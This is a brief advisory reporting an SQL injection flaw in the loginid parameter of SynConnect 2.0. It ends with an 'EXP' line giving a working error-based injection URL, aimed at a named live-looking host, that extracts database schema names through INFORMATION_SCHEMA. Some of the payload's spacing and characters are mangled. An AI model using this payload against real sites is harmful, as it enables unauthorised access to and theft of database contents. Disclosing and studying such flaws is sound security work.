SynConnect 2.0 has SQL Injection

The loginid parameter in SynConnect has the SQL injection vulnerability because the program did not fully verify user input before using SQL queries. Attackers exploit this vulnerability to manipulate applications, access or modify data, or exploit potential vulnerabilities in the underlying database. SynConnect 2.0 has a vulnerability, and other versions may also be affected.
Currently, the vendor has not provided any patches or upgrade programs for this vulnerability. We recommend that you follow the vendor's homepage at any time to obtain the latest version:
Http://www.synchroweb.com/prod_syn.php
 EXP:
A http://www.bkjia.com/index. php? Func = logoff & loginid = 1011 'AND (SELECT 8975 FROM (select count (*), CONCAT (select mid (IFNULL (CAST (schema_name as char ), 0 × 20),) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 6), FLOOR (RAND (0) * 2) x FROM INFORMATION_SCHEMA.CHARACTER_SETS group by x) a) AND 'bhdresh '= 'bhdresh